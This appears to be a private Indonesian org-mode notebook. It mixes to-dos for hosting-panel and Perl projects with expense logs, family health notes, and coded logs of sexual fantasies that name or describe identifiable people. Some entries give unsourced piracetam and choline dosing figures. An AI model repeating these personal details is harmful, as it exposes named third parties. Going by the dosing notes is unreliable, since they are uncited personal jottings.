Time everytime a ccommand elapsed time, buat nanti decide mau bg atau fg. N progress/estimation\n\n Idea cpanl daily send recent modules to review/fav/etc. Send recommendation for similar modules. Random modules. Module by fav authors. Etc\n\n Idea cpanl private lists for people who dong want to publish\n\n Spanel bug smtp access log blm dikasih info rate limit (ade)\n\n Sp crowdsourced docs/examples for spanel\n\n E 25jsn 12 park 3 tip\n\n Zh 25jan 04440507 v:satp jog\n Zh 27jan 0330 f:p lily\n Zh 28jan 0130 f:bf ferry\n Zh 29jan 0415 in car f:satp yoh\n Zh 30jan 0515 f:yng dcks, ferry\n Zh 31jan 0600 f:ferry\n Zh 4feb 2233 f:ferry (gang kan dianying)\n Zh 5feb 0630 f:ferry\n Zh 9feb 2030 che fer 6/10\n Zh 9feb 2248 xishoujian f:joe\n Zh 10feb 1047 fangj f:f ferry\n\n Q be better in asking q\n\n Ide next house: ruang tamu tertutup kalo ada yg reparasi datang ke rumah, ga ganggu rumah. Ruang kerja tamu mgkn ya? Ide liana: no handle utk dapur.\n\n E 22jan (100) tranfer ke solihin ini org nitip n ngasih ccash +100.\n\n Zh 21jan 2357 v:mj musc waistb. F:satp\n Zh 23jan 0655 f:satpm ckp\n\n L 23jan tomi udah lunas utangny.\n\n L 23jan tv changhong mama rusak diganti ic \"pet\" nya (tranistor ckp kwcil),\n** [2014-02-07 Fri] kertas\nSp notif by postal/mailing, mis print/mailmerge n naruh pberitahuan di pintu\nkos. Perlu ada sistem utk track n manage ini. Klien bs liat status pberitahuan\ndll.\n** [2014-01-21 Tue] bb\n*** zh [2014-01-17 Aaa 04:02] v:satpam subang joget (manly, tipe bodi gw)\n*** zh [2014-01-17 Aaa 08:40] f:pak lily (pekerja mebel setraw)\n*** zh [2014-01-18 Aaa 05:45] f:ferry chandra raung\n*** zh [2014-01-20 Aaa 20:43] f:satpam rs advent bahenol v:mjm manlystocky\n*** zh [2014-01-20 Aaa 23:21] f:satpam rs advent bahenol\n** [2013-12-14 Sab] bb\n*** CANCELLED [2013-12-14 Sab] 2co: forum MDS\n- log ::\n  + [2015-04-07 Tue] cancel, papa udah gak ada\n*** TODO [2013-12-14 Sab] q: yg harus umum diperhatikan utk geriatric\n- log ::\n  + [2015-04-07 Tue] gw liat paket cek MCU geriatric, mis: utk rs eka. sekitar\n    2jt/orang, utk cowo ada PSA (faktor kanker prostat), utk cewe pap smear &\n    mammo. lalu EKG, dan a bunch of examinations with several specialists (bagus\n    sih: umum, internis, neuro, tht, ophtal, nutritionist, pulmonologist,\n    cardiologist). cek darahnya sih yang udah biasa gw assign buat mama plus\n    (ALP), gak ada albumin. lalu radiologi (usg perut, dada, lumbosacral). jadi\n    yang nanti minggu depan mo gw lakukan buat mama selain cek darah:\n    audiometri + toilet telinga, EKG.\n*** TODO [2013-12-14 Sab] spanel: iklankan stabilitas & non-changing nature as feature\n- karena itu yg penting & desirable utk server\n*** DONE [2013-12-14 Sab] mkey: paypal belum fixed\n- log ::\n  + [2015-04-07 Tue] ini bulan lalu udah, gara2x memang kedisable otomatis sama\n    paypal karena banyak fail, dan penyebab failnya whmcs harus diupdate.\n*** TODO [2013-12-14 Sab] mkey: ident banktx: exclude \"TOMMIE HARYANTO\" from words\n- or, more generally, nama pemegang rekening\n*** TODO [2013-12-14 Sab] q: handling sx needs, addiction, needs&wants in general\n*** DONE [2013-12-14 Sab] 2dl: the unbelievers (dokumenter 2013 richard dawkins)\n- log ::\n  + [2014-09-02 ] done\n*** TODO [2013-12-14 Sab] 2note: publish change logs & release notes utk cloud service\n- kebiasaan yang baik dan berguna bagi user\n** [2013-12-06 Jum] kertas\n*** 2013-02-11 06:50 rmh\n*** 2013-11-20 08:54 mj musc\n*** 2013-11-28 23:12-23:30 pics\n*** 2013-11-29 04:45 bdg rjg platih krganyr\n*** 2013-11-30 09:00 marbella wc f:manliness\n*** 2013-11-30 11:40 marbella wc f:mj\n*** 2013-11-30 23:27 rumah rjg f:mj\n*** 2013-12-01 04:23 rumah rjg f:ws\n*** 2013-12-01 06:00 rumah rjg f:mj musc bot\n*** 2013-12-01 08:26 rumah rjg f:mj musc wors\n*** 2013-12-01 09:28 rumah rjg f:mj musc kss\n*** 2013-12-01 16:00 rumah wc f:mj\n*** 2013-12-02 06:50 rumah rjg mj\n*** 2013-12-02 08:26 rumah rjg mj\n*** 2013-12-02 13:20 rumah rjg mj ckp\n*** 2013-12-06 01:57 rumah rjg mj ws\n*** 2013-12-06 12:00 CL gempal176\n*** 2013-12-07 06:45 rumah bdg v:mj nice experienced\n*** 2013-12-08 06:09 p:rumah bdg f:pekerja kantin rs santosa (crew cut, 20s, tegap, smile)\n*** 2013-12-08 10:27 p:rumah bdg v:mj cd\n*** 2013-12-08 12:58 p:rumah bdg v:mj musc\n*** 2013-12-14 05:01 apt rjg mj stmj\n*** 2013-12-14 06:01 apt rjg f:kss,anto,30\n*** 2013-12-15 16:35 rumah bdg f:mj musc athletic\n*** 2013-12-15 16:35 rumah bdg f:mj musc athletic\n*** 2013-12-16 06:10 rumah bdg f:mj pwr btm\n*** 2013-12-16 20:37 rumah bdg f:mj musc t\n*** 2013-12-16 23:15 rumah bdg f:ws kss\n*** 2013-12-22 21:18 rumah bdg f:mj mnly\n*** 2013-12-23 08:17 rumah bdg f:mj musc\n*** 2013-12-24 00:38-00:43 rumah bdg f:p lily (athletic sxy butt nice teeth)\n*** 2013-12-24 08:08 rumah bdg f:p lily\n*** 2013-12-24 16:15 rumah bdg f:p lily\n*** 2013-12-25 15:20 rumah bdg f:p lily\n*** 2013-12-28 16:05 rumah bdg f:rizal (25, madiun) hving a bf\n*** 2014-01-10 07:07 rumah bdg rjg v:mj athletic\n*** 2014-01-10 11:02 rumah bdg rjg f:ferry chandra raung\n*** 2014-01-10 14:45 rumah bdg rjg v:army dan satpam\n*** 2014-01-11 17:23 rumah bdg rjg v:cerita satp f:satp rsa\n*** 2014-01-15 02:50 rumah bdg rjg f:om2 di pmi aceh (baju agak ketat, perut mayan rata, manly)\n*** 2014-01-15 08:41 rumah bdg rjg f:male nurse di imperium\n** [2013-11-27 Rab] kertas\n*** TODO [2013-11-27 Rab 14:00] zh yiyuan cesuo yiyuan gongren\n*** TODO [2013-11-28 Kam 05:44] zh rjg bdg f:batak\n*** TODO [2013-11-22 Jum 06:49] zh rjg bdg f:security\n*** TODO [2013-11-25 Aaa 02:08] zh\n** [2013-11-18 Sen] paste\n*** TODO [2013-11-18 ] 2co digital ocean (vps ssd murah?)\n*** TODO [2013-11-18 ] zh 18nov 0703 \xE5\xBA\x8Amj\xE8\x82\x8C\xE8\x82\x89\n*** TODO [2013-11-17 ] zh 17nov 19101948 mj\n*** TODO [2013-11-16 ] Kosongkan bookmark opera hp\n*** TODO [2013-11-16 ] 2r pragmatic guide to tmux, fitur zoom di tmux\n*** TODO [2013-11-16 ] Idea pl nulis buku optimizing perl, e..g. How to minimize startup overhead, to overload or not, shift vs \@_, (2blog? Seri perl book ideas)\n*** TODO [2013-11-16 ] zh 16nov 1637 dd32 \xE7\x85\xA7\n*** TODO [2013-11-15 ] zh 16nov 0253 \xE5\xBA\x8A \xE7\x89\xB9\xE5\x8F\xA4\xE4\xBB\xA3\xE5\x91\x80\n*** TODO [2013-11-15 ] zh 16nov 0218 mj \xE8\x82\x8C\xE8\x82\x89\n*** TODO [2013-11-15 ] zh 15nov 2359 mj \xE4\xB8\x8B ath\n*** TODO [2013-11-15 ] 2co devel::peek utk mgetahui masalah undef warnings di dux\n*** TODO [2013-11-15 ] Cermin yg brown atau biasa?\n*** TODO [2013-11-15 ] frame stainless yg chrome atau dof atau mengkilat?\n*** TODO [2013-11-15 ] Laci mau ada kunci?\n*** TODO [2013-11-15 ] Fiber penutup pagar? 2.8m 3cm\n*** TODO [2013-11-15 ] Bikin advent articles? Norepeat, ... A mix of my modules and other peoples. Focus on shell n terminal, and perl of course. Show color table. Print color table 16x16? Ansitable. Pericmd completion. Riap. Ddc.\n*** TODO [2013-11-15 ] spanel: Bikin logo made in indo/bdg, kyk travis ci.\n*** TODO [2013-11-15 ] 2co travis for some of my projects\n*** TODO [2013-11-15 ] pl, sp: konvensi/standar fungsi2 utk sebuah entity yg hrs ada mis list, delete,  create, get, update?, set_\$entity_\$attr. standarkan argumen2 standar mis: id.\n*** TODO [2013-11-14 ] ledgerp: pod: buat apa modul ini? udah ada cmdline n c lib yg lbh cepat kan? utk insert/edit/delete n save back the file. utk diparse n diexport ke sql/excel/dll. utk generate.\n*** TODO [2013-11-11 ] Idea: pl: module: Module to compare 2 package metadata to generate api compatibility information. Eg functions added, functions removed=backward incompat, fungsi nambah arg = ok, ngapus arg= bw incompat. Tipe argumen berubah jd lebih sempit=bw incompat\n** [2013-11-10 Min] paste\n*** CANCELLED [2013-11-10 ] 2dl: music: en vogue\n- log ::\n  + [2015-04-07 Tue] cancel, lost interest, sudah ada bbrp track dari billboard\n    top 100 of 199x.\n*** TODO [2013-11-08 ] async on completion? misalmya heavy setelah bwberapa detik baru ready\n** [2013-11-08 Fri] paste\n*** IDEA [2013-11-08 ] ga: function to analyze how christian or moslem a name is. how batak/racial, how similar to a group.\n*** TODO [2013-11-08 ] ga: buat kategori priorisasi fungsi ga yg harus dibuat: potensi jumlah prmakai (how to determine?) potensi kmungkinan org mau bayar. baru sbrapa sulit diimplementasi. contohny yg simpan list of strings or objects bnyk dipakai org n org mau byr deh.\n*** TODO [2013-11-08 ] spanel: yg beda dari program lain spt apache (tp ada jg kali ya modul utk ini?): kita bs easily check config yg lagi berlaku di sebuah user/dir.\n*** TODO [2013-11-03 ] 2r: pelajari use cases redis\n*** TODO [2013-11-03 ] q: redis zset?\n*** TODO [2013-11-03 ] ciod make it possible to parse git config: [branch \\\"master\\\"]\n** [2013-11-04 Sen] tmp\n- fix mkey\n  + [2013-10-19 Sab] update mkey-mwn (belum bisa update anti ke radon)\n  + [2013-10-19 Sab] update mkey-cdt (belum bisa ssh dari luar, anti ke radon)\n  + [2013-10-19 Sab] update mkey-mwi (belum bisa update anti ke radon)\n  + [2013-10-17 Kam] ca: submit tiket: hide/buang aja file attachment field\n    karena gak keupload ini.\n  + [2013-10-17 Kam] nomor tiket masih #123456, perlu diadjust. submitticket.php\n    harus diganti dari menggunakan insert ke db langsung menjadi menggunakan\n    api.\n  + [2013-11-19 Sel] snippet: saat mengosongkan activity_log, sisakan 2 bulan\n    terakhir, jangan babat semua.\n- spanel: https://forum.mwn.localdomain/viewtopic.php?t=63843\n- (coding) investigate bug list-org-anniversaries (si joko ultahnya ga kelist?)\n- riap-app: use periscomp, supply default custom_arg_completer: riap request\n  complete_arg_val\n** [2013-11-02 Sab] paste\n*** TODO [2013-11-02 ] ri remove dies_on_error?\n*** TODO [2013-11-02 ] sp security checks when mugrate step 2 (restore from datadir), assume provider of datadir is malicious. cpanel baru rilis patch sehub hal ini.\n*** TODO [2013-10-31 ] Cpanlists weekly reports\n*** TODO [2013-10-31 ] 2co datetimr::timezone to avoid having to create dt objects with tz param all the time\n*** TODO [2013-10-31 ] 2l cari tanah kmrn\n*** TODO [2013-10-31 ] Diskusi dg tomi soal bagi hasil invest tanah\n*** TODO [2013-10-31 ] Ga paid simpen data: lists of texts, bs dipakai utk various stuffs, eg keyword blacklists etc, unicode.\n*** TODO [2013-10-31 ] Ga paid simpen data table, record didefine dl n bs diubah, ga free form ya ntar acak2an, ada validasi saat insert\n*** TODO [2013-10-31 ] Ga paid simpen data table free form?\n*** TODO [2013-10-31 ] Ga paid simpen data blob/bin\n*** TODO [2013-10-31 ] Ga kemiripan teks dg teks lain di list, list boleh dari stored list by name, utk paid customers, berbagai opsi/algo.\n*** TODO [2013-10-31 ] Q alt dr terawan\n*** TODO [2013-10-31 ] 2co perltv some talks\n*** TODO [2013-10-30 ] q c lib to manage n check sw license\n*** TODO [2013-10-29 ] Zh 29okt 1635 \xE7\x94\xB5\xE5\x99\xA8\xE5\x91\x98 \xE5\x85\x86\xE7\x93\xA6\xE4\xB8\xAD\xE5\xB9\xB4\xE6\x99\xAE\xE9\x80\x9A\n*** TODO [2013-10-29 ] zh 29okt 1210 \xE8\x82\x8C\xE8\x82\x89\xE4\xB8\x8B\xE7\x94\xB7 mj\n*** TODO [2013-10-28 ] raise fund utk bikin something lile yodlee/konek ke ibanking bca utk ambil transaksi\n*** DONE [2013-10-28 ] Q: inserting builder info (dzil version, perl v, all dzp n pwp plugins, ...) to release. Udsh ada dzp nya?\n- [2013-11-12 Tue] ditanyain ke perlmonks. jawab: DZP::MetaConfig -> dump dzil\n  configuration to X_Dist_Zilla key. dan jadi sebenernya gak ada alasan kita gak\n  produce META.yml & META.json di non-cpan dist kita.\n*** TODO [2013-10-27 ] zh 27okt 1347 \xE5\xAE\x85 \xE5\xBA\x8A befy stok\n*** TODO [2013-10-24 ] Pericmd how would command plugin work?\n*** TODO [2013-10-24 ] Zh 24okt 0753 mj java\n*** TODO [2013-10-23 ] Sp saat crdate hosting, gagal register ke dns bukanlah fatal error. Schedule retry and continue.\n*** TODO [2013-10-23 ] N mama gw mengamati mama lebih alert dan better, cognitively speaking. Maybe because of the 2x800 pira dose? Instead of 1x800 I gave months before?\n*** TODO [2013-10-23 ] 2co choline (buat enhance piracetam, e.g. 50mg/kg badan pira + 50mg/kg choline is better than 1000mg/kg pira.\n*** TODO [2013-10-23 ] N: propepsa.sucralfate, 1-4x sehari, jika bercampur dg asam (hcl) membentuk zat yg kental n protektif utk lapisan mucosa.\n*** TODO [2013-10-23 ] N: omeprazole itu ppi (proton pump inhibitor) utk menekan produksi asam lambung. Utk let stomach heal. Efek sampingny bs meningkatkan risiko infeksi usus n paru krn asam lambung kan berguna utk membunuh kuman.\n*** TODO [2013-10-23 ] 2co choline (buat enhance piracetam, e.g. 50mg/kg badan pira + 50mg/kg choline is better than 1000mg/kg pira.\n*** TODO [2013-10-23 ] N: propepsa.sucralfate, 1-4x sehari, jika bercampur dg asam (hcl) membentuk zat yg kental n protektif utk lapisan mucosa.\n*** TODO [2013-10-23 ] N: omeprazole itu ppi (proton pump inhibitor) utk menekan produksi asam lambung. Utk let stomach heal. Efek sampingny bs meningkatkan risiko infeksi usus n paru krn asam lambung kan berguna utk membunuh kuman.\n*** TODO [2013-10-23 ] l 23okt dimas ga bs byr utang ada sodara sakit (gw udah ga percaya lg yg model beginian spt dulu wilson) bukannya byr tp minta ditambahin, kykny modus deh. gw relain aja yg 500rb.\n*** TODO [2013-10-22 ] 2co nfu\n*** TODO [2013-10-22 ] Zh 23oct 0514 \xE5\xBA\x8A\xE4\xB8\x8A \xE5\x8F\xAB\xE6\x8C\x89\xE6\x91\xA9\xE5\xB8\x88\xE6\x9D\xA5apt \xE8\x82\x8C\xE8\x82\x89\n*** TODO [2013-10-18 ] Fb Hide list of friends\n*** TODO [2013-10-18 ] Use perlcritic (e.g prevent sqlinjection policy)\n*** TODO [2013-10-18 ] Pl an easy way to wrap all rinci subroutines and log entry/exit. Or do this for some subs only. Make some usecase examples first.\n*** TODO [2013-10-18 ] sp devguide how to debug spanel. inside code peppered with debug logs which can be shown to screen or written files. different levels. how to see debugging statements.\n*** TODO [2013-10-17 ] sp lang/translation jg sebaiknya open source/tersedia diff nya.\n*** TODO [2013-10-17 ] sp template yg dicustomize harus open source dengan diff, supaya user tau perubahannya apa aja. dan bs lbh gampang mengupdate templatenya sndr.\n*** TODO [2013-10-17 ] sp template pake haml or something? yg lbh developer friendly. tp bs include html snippet or include other files to allow easy customiz\n*** TODO [2013-10-15 ] Reorg repos: Priv- untuk data yg bener2 for me personally, not to be shared wih anyone. Utk project files, mungkin dishare nanti contoh gudangapi-site walau saat ini ga ke github, tp mgkn nanti dishare ke tim, jadi jgn dinamai priv. Pake tag aja .tag-public utk project repo yg open dishare ke semua. Contoh spanel-dev-guide.\n** [2013-10-15 Sel] paste\n*** TODO [2013-10-15 ] e 14okt park 20\n*** TODO [2013-10-15 ] zh 15okt 0010 \xE8\xBF\xAA\xE9\xA9\xAC\xE6\x96\xAF \xE7\x94\xB5\xE6\x93\x8D\n*** TODO [2013-10-14 ] sp mekanisme utk rollback setlh upgrade utk undo botched upgrades. sbnrny nanti tinggal instal modul perl n restart daemons. tp tetap terbatas.n ga utk semua kasus sih, sama spt upgrade debian, path nya ga fully tested. klo ada perubahan data misalnya, ga bs revert lg.\n*** TODO [2013-10-14 ] sp mekanisme utk rollback setlh upgrade utk undo botched upgrades. sbnrny nanti tinggal instal modul perl n restart daemons. tp tetap terbatas.n ga utk semua kasus sih, sama spt upgrade debian, path nya ga fully tested. klo ada perubahan data misalnya, ga bs revert lg.\n*** TODO [2013-10-14 ] zh 14okt 0058 mj muc\n*** TODO [2013-10-13 ] 2buy hp case\n*** TODO [2013-10-13 ] 2co pngpaste/pbpaste\n*** TODO [2013-10-13 ] 2co software testing podcast\n*** TODO [2013-10-12 ] 2co dropzonejs\n*** TODO [2013-10-12 ] Ddc n jsonc yamltc  differentiate num n str scalar\n*** TODO [2013-10-11 ] periap security, add uid to wrapcache name? check file must be owned by same id. prefer homedir to /tmp\n*** TODO [2013-10-11 ] 2co 7min workout\n*** TODO [2013-10-11 ] periap security, add uid to wrapcache name? check file must be owned by same id. prefer homedir to /tmp\n*** TODO [2013-10-11 ] rm limijati liana 0069925\n*** TODO [2013-10-11 ] pl cli (pericmd) prog jika dicall dari cgi or cgi/php program cannot show trace level (or other level than debug), termasuk ke file.\n*** TODO [2013-10-09 ] 2co wpscan\n*** TODO [2013-10-09 ] support /home2, sering deh hrs begini. Baik cpanel maupun directadmin support\n*** TODO [2013-10-09 ] 2w? La vie d\\'adele (kamera bgs mnangkap ekspresi bgt)\n*** TODO [2013-10-09 ] Berita2 yg english/french/chinesenya gampang/simple.\n*** TODO [2013-10-09 ] Sp at cmdline or web, sometimes, check whether cron or scheduled jobs have been done recently, for sanity..\n*** TODO [2013-10-09 ] L waktu smakin mahal, anything that can save time bakal jd laku. Gw lg mikirin kos2an atau apartemen bulanan yg kt tinggal move in, bawa koper doang\n*** TODO [2013-10-08 ] Idea sp: backup service yg praktis, one command, kita jd reseller rsync.net.\n*** TODO [2013-10-08 ] Riap add faqs: what is riap? What is rinci? What\\'s the difference between ... And peri-access, peri-run, ...\n*** TODO [2013-10-08 ] Riap: faq: what about redirection, e.g. Saving to files aka how do I save iap response to file?. 1) meant to be a minimal shell, not full blown unix shell. 2) paths map to code entity uri, not filesystem o it can be rather confusing.\n*** TODO [2013-10-08 ] Riap: faq ehat about variables, expressions, loop, ...: 1) minimal shell; its better if u use peri-run and incorporate it to ur shell script. Give example on how to ceate a single script, wrap peri-run.\n*** TODO [2013-10-08 ] E 8okt 20 becak 24 alfamart 100 ko guan 45 ambokue 63 nasi campur xx xtrans\n*** TODO [2013-10-07 ] 2co cxs utk protect malicious code\n*** TODO [2013-10-07 ] 2co smartctl on ssd. ada wear leveling count attribute dll. tiap merek hdd beda. include di spanel. warn health of disks\n*** TODO [2013-10-06 ] Mwn ganti pass admins whmcs, incl mawshanda\n*** TODO [2013-10-03 ] sp explore possibilities of peer grading, peer testing, peer clustering or load sharing, big data\n*** TODO [2013-10-02 ] 2dl breaking bad\n*** TODO [2013-10-02 ] 2dl community (ada abed nadir)\n*** TODO [2013-10-02 ] 2w video from r/proggit: programing is terrible\n*** TODO [2013-09-30 ] terlalu banyak kafrin meyebabkan berat bayi kurang\n*** TODO [2013-09-30 ] makanan2 yg mengandung tanah (salad). krn toxoplasma (kotoran kucing). boleh asal cuci bersih. sebaikny matang aja jgn mentah.\n*** TODO [2013-09-30 ] bakal sering/mudah infeksi saluran kencing. antibiotik, tp bs meningkatkan gejala anaknya asma. cranberry juice.\n*** TODO [2013-09-30 ] 2co: startbootstrap.com\n*** TODO [2013-09-29 ] zh 29 1800 mj \xE8\x82\x8C\xE8\x82\x89\n*** TODO [2013-09-29 ] sp api for cpanm + locallib, optionally with perlbrew. biar ada web interface. pmuninstall. fungsi list installed modules/dist n versions (ada cache db jg biar cepat n ga harus execute). as user, of course, for security. progress any. prgress compile perlbrew.\n*** TODO [2013-09-29 ] progress any persistent? contoh jika apid direstart saat compile perl di perlbrew.\n*** TODO [2013-09-29 ] zh 29 0555 \xE8\x82\x8C\xE8\x82\x89\xE7\x94\xB7\xE5\x8F\x8B mj\n*** TODO [2013-09-28 ] sp pepper config files with good n liberal commentd\n*** TODO [2013-09-28 ] zh 28 0645 mj\n*** TODO [2013-09-27 ] 2w: fuck you, pay me\n*** TODO [2013-09-25 ] 2co ovh selain hetzner\n*** TODO [2013-09-25 ] Q tomi suka mantengin wht ga? For prices\n*** TODO [2013-09-25 ] Q where to ask for help for a module, eg for translation? Questhub?\n*** TODO [2013-09-25 ] Cari author modul/app lain yg pake ansi color n saranin pake color::ansi::util\n*** TODO [2013-09-25 ] 2co ovh selain hertzner\n*** TODO [2013-09-25 ] Q tomi suka mantengin wht ga? For prices\n*** TODO [2013-09-25 ] Gitcal: mention jg about color ansi util di hn thread\n*** TODO [2013-09-25 ] Q where to ask for help for a module, eg for translation? Questhub?\n*** TODO [2013-09-25 ] Jawab twit curl n ux\n*** TODO [2013-09-25 ] Q ada tool semacam Pry di perl? .to_source would be cool.\n*** TODO [2013-09-25 ] Q backup git ke smbarang server tp encrypt dulu data sblmny di client side.\n*** TODO [2013-09-25 ] Zh 25 0530 \xE6\x8C\x89\xE6\x91\xA9\xE5\xB8\x88\xE6\x93\x8D\xE4\xBD\x9C\xE5\x88\xAB\xE4\xBA\xBA \xE6\x88\x91\xE7\x9C\x8B\n*** TODO [2013-09-25 ] 2co Git-cal\n*** TODO [2013-09-25 ] Iseng saranin author git-cal pake color-ansi-util: bs support no color sd 24bit.\n*** TODO [2013-09-25 ] Cari author modul/app lain yg pake ansi color n saranin jg\n*** TODO [2013-09-23 ] 2co: data munging with perl\n*** TODO [2013-09-23 ] skrip utk show url of modules that need to be downloaded\n*** TODO [2013-09-22 ] zh 22sep 1620 \xE5\x8C\xBF\xE5\x90\x8D\xE5\x85\x86\xE7\x93\xA6\xE7\x94\xB7\xE4\xBA\xBA \xE5\x86\x85\xE8\xA3\xA4\n\n** [2013-09-25 Rab] tmp\n- autosuspend malware-infested account\n- zh 25 2015 dimas phsx\n- zh 26 0650 mj \xE8\x82\x8C\xE8\x82\x89\xE4\xB8\x8B\xE7\x94\xB7\xE4\xBA\xBA\n- zh 26 0724 mj \xE8\x82\x8C\xE8\x82\x89\xE4\xB8\x8B\xE7\x94\xB7\xE4\xBA\xBA (\xE7\xA0\xB4\xE7\xA2\x8E\xE7\xBA\xBF)\n** [2013-09-21 Sab] catch\n*** 2\ntodo2\n\n\n\n2co duolingo\n\n\n\n2dl grammar catalog nisf?\n\n\n\nml 15agu 22.10 f donk mud, made 35\n\n\n\nga kamus bahasa indonesia #e\n\n\n\nga/sp create textmode screencasts using term.io, ascii.io, shelr.io, etc\n\n\n\ngd/ga: posting ke situs2 macam tionghoa.info, ada artikel tentang hari libur nasional, daftar kode telepon indo, ...\n\n\n\n2dl n put in mp3: daftar konjugasi n referensi grammar fr. Zh. 2dl pronunc mp3 n article: ar. it.\n\n2dl referensi grammar en, id, su.\n\n\n\n2co buku everythibg is obvious\n\n\n\nZh 0627 0530 ww orl\n\n\n\nl beda or chi yg lbh bnyk nanya, or indo... lbh bnyk nanya k tmn sndiri. annoying sometimes.\n\n\n\nl angpau 400usd asuk alung, 1000hkd kukuh asin\n\n\n\nthyrozol 19jun\n\nml 19jun subuh hk klr fuck biasa 5min, ..no kiss abs bgn. fts klt co hk.\n\nml 18jun subuh hk klr fck biasa 10min. +klr\n\nl mixian 20+8. fts bpk pdk dedek di grp tour\n\n\n\nl lofeway lowfat kefir mango 4/10. differently acidic, kecutny beda. its over 1mo expired anyway so all bets probably off. loacker q lemon 8/10. boston bagel 7.5/10. chipotle mexican grill, tabsco yg hijau dan merah.\n\n\n\n l greg. how other people are so bawel while indo talks little, seldom asks stuffs. china g mau rugi.\n\n\n\nriap specify client version. specify desired function version. ri: allow func/entity to have version (if not already so).\n\n\n\nl french in canada.\n\n\n\nl guylian truffles. artisanal belgian chocolate. 23 biji 7.95 \@dutifree canada\n\n\n\nl \xE7\xBE\x8E\xE5\x8A\xA0\xE6\x97\x85\xE8\xA1\x8C\xEF\xBC\x9A\xE6\xAF\x8F\xE4\xB8\xAA\xE6\xA5\xBC\xE5\x8F\xB0\xE9\x83\xBD\xE5\xB7\xAE\xE4\xB8\x8D\xE5\xA4\x9A\xE4\xB8\x80\xE6\xA0\xB7. \xE6\x8B\x8D\xE8\x85\xBB\xE7\x85\xA7\n\n\n\n2dl film cluzet yg baru\n\nmkey raid ssd, gigabit eth\n\n\n\nss 13jun mlm gw klr ga lama setlh di bwh lalu fck misspos bntr\n\nss 1jun ejac by kocok, tp dimasukin sm liana\n\n\n\nzh m130251 m ad, brown skn\n\n\n\nfr 14des accueil, l\\'article, sans appel\n\n\n\nq fr beda bonjour a tous. vs bj a toutes\n\n\n\nsp idea interface web ala google/chrome. ptama masuk hny ada search bar. dan di bawahny ada bbrp link atau button, mis email, fm. mirip spt most visited page di starting page browser.\n\n\n\nada interfaxe klasik dg drop down menu jg.\n\n\n\nsp prinsip pemanfaatan energi/efisiensi. mis saat backup sekalian collect stats about files. saat fixperm sekalian userstats atau sebaliknya.\n*** 3\nfr words\n\n\n\n28jul r\xC3\xA9agir agir commencee \xC3\xA0. Finir de. Un esprit.\n\n\n\n15jun comptant entrepot\n\n\n\n12jun la navette, le detour\n\n\n\nfranchir\n\nnaturellement\n\ncanap\xC3\xA9 m\n\nN\xC3\xA9fast\n\nEn somme\n\nSouligner\n\nTout \xC3\xA0 fait\n*** 4\nzh words\n\n15jun \xE9\xA1\xBE\xE5\x90\x8D\xE6\x80\x9D\xE4\xB9\x89 \xE7\x80\x91\xE5\xB8\x83 warm/heat car \xE7\x94\x9F\xE6\x84\x8F\xE5\x85\xB4\xE9\x9A\x86\n\n\xE5\xAE\x9E\xE6\x96\xBD\n\xE5\xAE\x9E\xE6\x97\xB6\n\xE7\x9B\x91\xE6\x8E\xA7\n\xE5\xBC\x95\xE6\xB8\xA1\n\xE5\xA4\xA7\xE8\x87\xA3\n\xE5\x86\x85\xE6\x94\xBF\xE5\xA4\xA7\xE8\x87\xA3\n\xE5\xA4\x96\xE4\xBA\xA4\xE5\xA4\xA7\xE8\x87\xA3\n*** 5\nfr words\n\n31jul\n\nFois vs foi vs le foie\n\nLa Crise\n\n\n\n26jul\n\ndirigeant\n\nprogrammer?\n\nla crise de milieu de vie\n\naffrontir\n*** 6\nml 15agu 22.10 * fck donk, made35\n\n15agu sammy, e 207 tip 7\n\n\n\n2co domai  avail? Pusatdata.org? Yg berbau pemerintah?\n\n\n\nGa arahkan ke pemerintah?\n\n\n\n2co data.gov, healthcare.gov, https://github.com/GSA\n\nhttps://github.com/GSA-OCSIT\n\nhttps://github.com/cfpb\n\nhttps://github.com/opengovplatform\n2co html5 notifications spec\nsp 2co statsd n colectd n graphite. can we still get raw data easily via api. graphite pengganti rrdtool with better/builtin graphing. no Config! multiple server.\npl something like io::pipeline iface for dux f\ne 21jun 22 papa beli bacang\nzh 06210525 dimas sms, ngegombl,\ne 20jun 2 kartuxl\ne 8mei 5 papa jajan\ntwutil, tautil trunc cutoff marker\ntermprogcolor: pretty glowing/animating colors,\ndetect if xonnwction is slow n revert to simpler if slow\n*** zhwords\n1 sep \xE6\x9C\x89\xE5\x88\xA9\xE5\x8F\xAF\xE5\x9B\xBE\n\n*** todo\ne 17sep 6672 biaya liburan k jkt. -1000 atm.\n\nlog angpao emil 3000\n\n\n\n2co jsonview, prettyprint.js, cfdump from coldfusion\n\n\n\nsp 2co: cleantalk.org (ada api perl cpan)\n\n\n\n2co jsonhuman\n\n\n\n2co less +F\n\n\n\ntodo2\n\n\n\nsp obguscate string yg berhub dg license supaya ga bs digrep dg mudah, tp kasih komen yg nanti bs distrip\n\n\n\ne 7sep 6 kopaja 6 busway 25 taxi 36 obat levofxn, obat 112.5 8xx sam marie bca\n\n\n\nrinci: tulis dlm teks freestyle spt python \\\"\\\"\\\" string n spt optionspec lalu parse jd rinci metadata. just one more step additional.\n\n\n\n2co rumah-yatim.org n majalah save\n\n\n\nsp ga cpl: bikin hostname api.spanel.info, api.gudangdata.org, api.cpanlists.org? biar gampsng matiin later? but for ga?\n\n\n\nZhw 23ag \xE7\x94\x9F\xE6\xAD\xBB\xE7\x94\xB1\xE5\x91\xBD\xE2\x80\xA6 (tato)\n\n\n\nSp banyak sync data jg ke server master or spanel.info\n\n\n\nQ obat ngeringin karang dan mengatur siklus di pandu (baifengyan? kata mama)\n\n\n\nml 19sep 0040 \xE8\xBF\xAA\xE9\xA9\xAC\xE6\x96\xAF\n\nml 12sep 1730 kck \xE8\xBF\xAA\xE9\xA9\xAC\xE6\x96\xAF\n\nml 7sep 2300 \xE7\xA0\xB4\xE6\x81\xA9\xE6\xAD\xBB \xE5\x85\xAC\xE5\xAE\x89\xE5\x91\x98\n\nml 5sep 2200an \xE8\x85\x90\xE7\x83\x82\xE6\xAD\xBB \xE7\x99\xBD\xE5\x86\x85\xE8\xA3\xA4\n\nml 3sep 2300 \xE5\x95\xA6\xE8\x8E\xAB\xE6\x96\xAF \xE5\x85\x86\xE7\x93\xA6\xE6\x9C\x89\xE7\xBB\x8F\xE5\x8E\x86\xE7\x9A\x84\xE4\xB8\xAD\xE5\xB9\xB4\xE7\x94\xB7\xE4\xBA\xBA\n\nml 1sep 1315 * \xE7\xA0\xB4\xE6\x81\xA9\xE4\xB8\xAA\xE5\x85\xAC\xE5\xAE\x89\xE5\x91\x98 \xE6\xAF\x94\xE5\x95\xA6\xE6\x97\xA0\xE8\x80\x8C\xE5\xA5\xBD\xE5\x90\x83\n\nml 